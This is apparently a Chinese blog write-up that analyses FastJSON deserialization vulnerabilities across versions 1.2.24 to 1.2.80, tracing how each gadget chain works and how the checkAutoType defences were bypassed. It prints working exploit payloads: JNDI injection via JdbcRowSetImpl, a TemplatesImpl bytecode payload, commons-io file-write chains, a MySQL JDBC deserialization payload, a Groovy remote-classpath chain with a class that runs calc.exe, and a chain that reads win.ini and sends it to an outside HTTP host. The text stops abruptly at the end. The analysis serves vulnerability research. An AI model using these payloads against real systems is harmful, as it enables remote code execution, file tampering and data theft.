前言
FastJSON也不是什么新奇玩意了,之前都是看别的师傅的分析文章,也没有自己手动调试过,纸上学来终觉浅;这次决定自己手动调试一下,跟踪一下各个利用链以及原理;
全文一共7407个字,建议慢慢看;
截至到目前,FastJSON>=1.2.83还未有新的漏洞,所以我的分析聚集在1.2.80及以下;
使用的POC来自:https://github.com/safe6Sec/ShiroAndFastJson
概述
FastJSON可以使用@type属性将JSON字符串转化为指定的类,例如
{
"@type":"com.zeanhike.User",
"name":"zhangsan",
"age":18
}
//在JSON字符串中已指定@type属性
JSON.parse(s1) //获得User类型的对象
JSON.parseObject(s1) //获得JSONObject类型的对象
JSON.parseObject(s1,Object.class) //获得User类型的对象
当JSON字符串转换成对象时,如果setter方法满足如下条件,会调用setter方法为对象的属性赋值
方法名长度大于4
非静态方法
返回值为void或者当前类
以set开头且第四个字母为大写
参数个数为1个
当不满足如上条件之一时,但是getter方法满足如下条件时,会调用getter方法
方法名长度大于4
非静态方法
以get开头且第四个字母为大写
无参数传入
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
此属性没有setter方法
使用ASM动态生成一个专门的类为属性赋值
Fastjson还有以下功能点:
如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
fastjson<=1.2.24
com.sun.rowset.JdbcRowSetImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
先调用setDataSourceName为父类BaseRowSet的dataSource属性赋值
然后调用setAutoCommit为autoCommit赋值
在赋值过程中,调用了connect方法
在connect方法中获取dataSourceName属性的值,进行lookup,造成JNDI注入
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}
会先为TemplatesImpl对象的属性进行赋值,由于这些属性都没有setter方法,但是开启了Feature.SupportNonPublicField特性,就可以成功赋值而不需要setter方法,由于_outputProperties
这个属性有getter方法,且满足之前说的特性,所以当设置完所有属性的值后,会调用它的getter方法,也就是getOutputProperties
跟进newTransformer()
跟进getTransletInstancew()
_name
不为空且_class
为空,才会进入defineTransletClasses()
在defineTransletClasses()方法中,首先_tfactory
属性不能为空,否则会造成空指针异常,同时在后面将二维数组_bytecode
属性转化为Class对象,同时存入一维数组_class
属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,不然这个索引不会更新当前位置
然后回到getTransletInstance()方法
这里根据_class
属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE
1.2.25<=fastjson<=1.2.41
在1.2.25版本及以上,在ParserConfig中新增了黑白名单,同时存在一个autoTypeSupport属性用来设置是否支持反序列化,同时多了个checkAutoType方法用来检测非法操作;
在DefaultJSONParser中的parseObject方法中,调用了ParserConfig的checkAutoType进行校验并加载类
在ParserConfig的checkAutoType方法中传入我们指定的类
这里会判断autoTypeSupport属性的值,所以我们看看默认的autoTypeSupport属性的值
由于在new一个ParserConfig时,会设置autoTypeSupport属性还有denyList(黑名单)、acceptList(白名单)
而这里autoTypeSupport被赋值成AUTO_SUPPORT
而AUTO_SUPPORT在类实例化时,默认为false
这里会到checkAutoType方法
传递的两个参数,第一个为反序列化的类,第二个为null
然后进行如下操作:
autoTypeSupport为false,从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer
然后进行黑白名单匹配
最后抛出JSONException异常,
autoType is not support.
~
若是autoTypeSupport属性为true,进行如下操作:
进行黑白名单匹配
从缓存中找是否有该类的Class,找不到再从Map中找到该类的ObjectDeserializer
然后调用
TypeUtils.loadClass(typeName, this.defaultClassLoader);
加载这个类
这里进入TypeUtils.loadClass(typeName, this.defaultClassLoader)
中
这里如果className是以[
开头或者L
开头;
结尾,就会截取中间部分,去除这些符号
所以这里可以绕过黑白名单限制,当设置了autoTypeSupport属性为true时,我们可以往@type指定的类前面加[
或者L
开头;
结尾进行黑白名单绕过
fastjson=1.2.42
1.2.42版本将黑名单变成hashcode
而在checkAutoType中
会对L
开头;
结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)
加载类
这里双写L和;即可绕过
fastjson=1.2.43
同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[
绕过
payload比较特别:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true
}
@type后紧跟[代表数组,以{开头表示数组中的一个元素,多少个{表示数组有多少个元素,例如:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true,{xxx,{xxx
}
1.2.44<=fastjson<=1.2.45
在1.2.44中修改[
符号产生的绕过
不过依然可以使用黑名单不存在的类进行绕过
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
这个需要依赖mybatis框架
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
fastjson<=1.2.47
可以在不开启autoTypeSupport且绕过黑白名单的情况下进行RCE,在checkAutoType方法中,若没有开启autoTypeSupport则会走到这里
从两个地方取,如果取的到就返回
这里可以通过往TypeUtils的缓存中存入我们的类
而在TypeUtils中的loadClass可以存入缓存,而在MiscCodec的deserialze中会调用TypeUtils中的loadClass进行类加载并存入缓存
这里重点是strVal,strVal是我们存入的缓存类,然后往上翻
strVal来源于objVal,objVal来源于parser.parse,同时这里有个细节就是lexer.stringVal解析到的JSON键必须为val不然会抛出错误,然后parser.parse就是拿到JSON的值,所以可以指定键为val,值为com.sun.rowset.JdbcRowSetImpl,这样就会将com.sun.rowset.JdbcRowSetImpl加入缓存中
所以什么时候会调用MiscCodec的deserialze方法呢?
在DefaultJSONParser的parseObject会调用
这里根据clazz从ParserConfig中取deserializer
ParserConfig中有一个deserializers属性,专门用来存deserializer
在ParserConfig的initDeserializers会初始化这个属性,往里面存一些Class和对应的deserializer
这里会存入MiscCodec,它对应Class类型
所以回到DefaultJSONParser的parseObject中
当clazz为Class时,会获取Class对应的deserializer,也就是MiscCodec,调用它的deserialize方法,这个clazz可以通过@type进行设定
最后的payload如下
{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
}
这里传递的JSON字符串存在两个对象,第一个对象用来将指定类存入缓存中,第二个对象用来触发JNDI注入
1.2.48<=fastjson<=1.2.68
在MiscCodec的deserialze中将cache设置成false,不允许存入缓存
但是也产生了新型绕过
在ParserConfig的checkAutoType中,利用expectClass绕过
这里看看
首先expectClass不能为null,且不能等于Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection,才会将expectClassFlag设置成true
其次,在未开启autoTypeSupport的情况下,会匹配黑白名单,所以不能跟黑名单里的类相同
expectClassFlag为true后,会根据typeName使用TypeUtils的loadClass去加载类,后面若clazz是expectClass的子类就放入huan'c返回
也就是说这里typeName要为expectClass的子类,才能绕过checkAutoType的检测,同时绕过autoTypeSupport的限制
而只有两处地方,会调用checkAutoType且传递expectClass参数
一个在ThrowableDeserializer的deserialize中
另一个在JavaBeanDeserializer的deserialize中
先看ThrowableDeserializer的deserialize,在checkAutoType调用完后并返回class后
在下面会直接创建实例
而在JavaBeanDeserializer的deserialize中
调用完checkAutoType得到userType后,会获取userType对应的deserializer,然后调用deserialize方法,触发userType的反序列化,执行setter或getter方法
网上公开的poc:
这个使用了JavaBeanDeserializer那条链,但是我在jdk8下复现失败
这是因为fastjson在通过带参构造函数进行反序列化时,会检查参数是否有参数名信息,只有含有参数名信息的带参构造函数才会被认可
而我用的Windows下,Oracle JDK8的MarshalOutputStream类,不含有LocalVariableTable
由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而很多第三方库里的字节码是有 LocalVariableTable 的。
浅蓝发的1.2.68利用第三方gadget写文件
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "d:/test/pwn.txt",
"tempPath": "d:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
依赖的jar包有点多
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
这里有个细节,就是在一些属性下使用了$ref,例如outputStream属性下,键$ref,值为$.stream,代表为outputStream属性赋值为stream对象;
首先调用SafeFileOutputStream的带参构造函数,然后调用Output的无参构造函数,使用setter为属性赋值,最后调用SerialOutput的构造函数
这里的out为Output,进入super中
包装out成BlockDataOutputStream,然后调用setBlockDataMode
然后调用drain
进行数据写入
继续传递
写完数据调用require方法
进入this.flush()
调用SafeFileOutputStream进行写,此时才是真正写到文件,写完调用flush关闭
MarshalOutputStream进行文件读写跟这个调用链差不多
使用commons-io库
这也是使用了JavaBeanDeserializer那条链
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
层层包装,使用TeeInputStream作为连接输入流和输出流的桥梁
大致过程就是:
XmlStreamReader的构造函数触发read,然后用TeeInputStream进行read,TeeInputStream又用ReaderInputStream进行read,ReaderInputStream又用CharSequenceReader从字符序列中进行read
在TeeInputStream中的read方法中,read完之后会调用write进行写入,也就是调用WriterOutputStream进行write,WriterOutputStream又用FileWriterWithEncoding进行write
流程图如下:
循环读取
从字节序列中取,然后返回
返回到TeeInputStream的read方法中,然后进行write
然后进行文件写入
这里面有两个个细节:
"charSequence":{"@type":"java.lang.String""aaaaaa"}
对于这种畸形JSON,仍然能解析执行该POC后虽然文件能创建但是无法写入
因为我懒,直接贴原作者的图进行解释
原文链接Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(以下部分为引用)
当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里
sun.nio.cs.StreamEncoder#implWrite
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
可以使用$ref引用同一个对象进行循环写入
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"D:/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
XmlStreamReader在构造器方法会触发doRawStream()方法,在doRawStream()方法中触发getBOMCharsetName(),在getBOMCharsetName()中触发getBOM(),getBOM()触发TeeInputStream的read()方法,此时TeeInputStream为同一个对象(因为引用了上一个对象),就可以达循环读写。
该思路引导了很多人使用该库进行其他方式的利用
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""input your content"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"./1.txt"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":"input your bytes"
}],
"x":{
"$ref":"$.bom"
}
}
这个很巧妙使用了$ref,$.bom
获取根对象的bom属性,根对象为BOMInputStream
这可以循环调用,例如:
获取班级下的学生的姓名
new Classes().getStudent().getName()
假设根对象为班级,对应JSONPath为
$.student.name
JSONPath会进行分段,段有很多类型
这里对应的是属性段PropertySegment,将$.student.name分成两个PropertySegment对象,一个是代表student属性的PropertySegment对象,第二个是代表name属性的PropertySegment对象;然后会遍历每个段调用eval方法
获取属性值,会调用该属性的getter方法
所以$.bom会调用getBOM()方法触发利用链进行读取
还有使用Mysql进行SSRF和反序列化漏洞攻击的
使用mysql-connector-java库
SSRF没太大用,这里不说,利用反序列化漏洞可以RCE,但是需要依赖对应java应用程序需要有相关的链
Mysql JDBC反序列化攻击
当我们控制了连接数据库的字符串时,我们可以伪造一个数据库,将需要反序列化的恶意对象存储在BLOB类型的字段中,当客户端获取该BLOB类型的数据时会自动反序列化造成RCE
github上有fake mysql server配合该poc进行RCE
//<=1.2.68 and mysql 8.0.19可反序列化 >8.0.19可SSRF
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
类似的还有PostgreSQL JDBC RCE
SafeMode
在1.2.68存在safemode
默认为关闭,只要开启会直接抛出异常,不解析@type指定的JSON字符串
1.2.80<=fastjson<=1.2.69
在1.2.69中
在ParserConfig的checkAutoType中,若expectClass为AutoCloseable,则设置expectClassFlag为false,导致AutoCloseable为首的利用链都无法使用
加的这三个expectHash为java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable
虽然JavaBeanDeserializer这条路走不通,但是仍然可以走ThrowableDeserializer这条路
使用groovy库
这个适用于1.2.76~1.2.80,为啥1.2.76以下不适用呢?后面会说
网上的payload是:
//两次parse
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}
之前说过为Exception的子类可以绕过checkAutoType(),然后调用createException()创建实例
ThrowableDeserializer.deserialize()
绕过checkAutoType(),并设置exClass为CompilationFailedException
但是重点在CompilationFailedException的unit属性中,在第二次扫描符号时,扫描到unit属性
然后将key和parser.parser()放进otherValues,key为unit,parser.parse()解析JSON字符串的unit属性的值,指定为空,所以这里为空
但是由于CompilationFailedException的构造函数不符合条件,所以无法创建实例,ex为null,只能创建Exception()实例并赋值给ex
otherValues不为null,获取unit属性的deserializer,判断unit的Class不是value的实例的话,调用TypeUtils.cast()方法,然后传递unit属性的类型,unit属性为ProcessingUnit类
cast又调用cast,套娃
cast方法里又调用castToJavaBean
在castToJavaBean方法里,调用getDeserializer获取ProcessingUnit类的deserializer
然后调用getDeserializer的重载,套娃
然后在getDeserializer方法的重载里,创建了ProcessingUnit类型的deserializer,然后调用putDeserializer
在putDeserializer方法里,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers属性中,这是后面绕过checkAutoType()的关键
然后一路返回deserializer
不符合条件创建实例失败,返回null
然后setValue
第一次POC触发,将ProcessingUnit类型的deserializer放进了ParserConfig的deserializers中
在第二次POC触发中,
检测@type属性的类时,调用checkAutoType方法
由于已将ProcessingUnit类的deserializer放进了缓存中,所以这里可以找到clazz,绕过了checkAutoType的限制
同时第二次使用了JavaBeanDeserializer那条链,在对JavaStubCompilationUnit进行checkAutoType时,因为传入了expectClass,所以过了checkAutoType的检测
后面创建JavaStubCompilationUnit类的deserializer,然后它的调用deserialze方法,后面反射调用JavaStubCompilationUnit类的构造器创建实例
将JSON字符串中classpathList属性的值(http://127.0.0.1:8080/
)添加到classpath
继承关系:
在CompilationUnit的构造函数中super调用完后,会调用ASTTransformationVisitor.addPhaseOperations(this)
然后调用addGlobalTransforms
然后调用doAddGlobalTransforms
获取META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件中的内容,META-INF/services/org.codehaus.groovy.transform.ASTTransformation该文件的内容就是我们要执行的恶意类的类名
然后调用addPhaseOperationsForGlobalTransforms(),transformNames中存储了我们的恶意类
在addPhaseOperationsForGlobalTransforms方法中,进行加载类,并实例化我们的恶意类,这个恶意类要为ASTTransformation的子类
我的恶意类:
package org.example.groovy;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class AK implements ASTTransformation {
public AK() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
}
总结
第一次使用ThrowableDeserializer那条链,将Exception作为expectClass绕过checkAutoType,成功加载CompilationFailedException,然后在获取属性unit(ProcessingUnit类)的deserializer放入缓存
第二次使用JavaBeanDeserializer那条链,由于ProcessingUnit的deserializer已放入缓存,所以绕过了checkAutoType,然后调用JavaStubCompilationUnit的构造函数触发后续操作
而最最关键的TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig())方法是用来将deserializer放入缓存的,没有它就不会有第二步操作
而一开始说的为啥1.2.76以下不适用呢?因为在1.2.76版本下没有cast调用
这是1.2.76版本下的:
对比1.2.76~80:
文件读取
使用aspectJ库
利用aspectJ进行文件读取,一种是错误回显,另一种是dnslog(不成功)
虽然只依赖一个库,但是会由于各种限制,并不会直接将错误结果返回到前台
所以这个略过
使用aspectjtools库、ognl库以及commons-io库
依赖三个jar包
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.21</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>
这个将文件读取的结果进行http外带
poc1:
[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]
poc2:
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}
一步步来看,首先是这个:
[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
利用expectClass绕过checkAutoType检测,并将SourceTypeCollisionException类进行缓存,以便绕过对SourceTypeCollisionException类的checkAutoType的检测
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
这一步会调用ParserConfig.getDeserializer为newAnnotationProcessorUnits所在的类ICompilationUnit创建deserializer并放入缓存,以便绕过对ICompilationUnit类的checkAutoType的检测
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]
这里同样利用expectClass绕过checkAutoType并将BasicCompilationUnit类进行缓存,以便绕过对BasicCompilationUnit类的checkAutoType的检测
然后是poc2
{"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
对OgnlException进行缓存,以便绕过对OgnlException类的checkAutoType的检测
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
这一步会调用ParserConfig.getDeserializer为_evaluation所在的类Evaluation创建deserializer并放入缓存,以便绕过对Evaluation类的checkAutoType的检测
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
调用Evaluation类的构造函数,传入node参数
node为ASTMethod类,调用ASTMethod类的构造函数,传入p参数,p为OgnlParser类
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
.....
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
再调用OgnlParser类的构造函数,传递stream参数
stream为BOMInputStream类,再调用BOMInputStream类的构造函数,传递delegate、boms参数
再调用ReaderInputStream类的构造函数
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
...
"charsetName": "UTF-8",
"bufferSize": 1024
传递reader、charsetName、bufferSize参数,reader为URLReader类,调用URLReader类的构造函数,传递url参数,url为String类型
一些细节需要注意:
"@type": "java.lang.String" {
会调用parse解析后面整个对象,然后调用toString()返回
"@type": "java.lang.String" [
和{的一样
"@type": "java.lang.String" "
会直接返回后面第一个双引号引起来的字符串,然后交给其他类进行解析
回到这里
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
他会把后面当成对象解析
获取Locale的deserializer(MiscCodec),然后调用deserializer的deserialize方法
val为JSONObject类,将val作为对象解析
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
这里调用Locale的构造函数,传language和country,并封装成BaseLocale类型赋值给baseLocale属性
在country里,会调用BasicCompilationUnit的构造函数,传递fileName参数
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
},
最后将val的解析结果封装成JSONObject,这时候会调用BasicCompilationUnit的getter方法
在BasicCompilationUnit的getContents方法中读取文件,并返回字节数组,同时调用其他getter方法,将属性值不为null的封装到JSONObject中
之前说过,"@type": "java.lang.String" {
会调用parse解析后面整个对象,然后调用toString()返回,所以会调用Locale.toString()方法返回字符串给url
会将baseLocale的属性使用_
分割并组装
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
小插曲
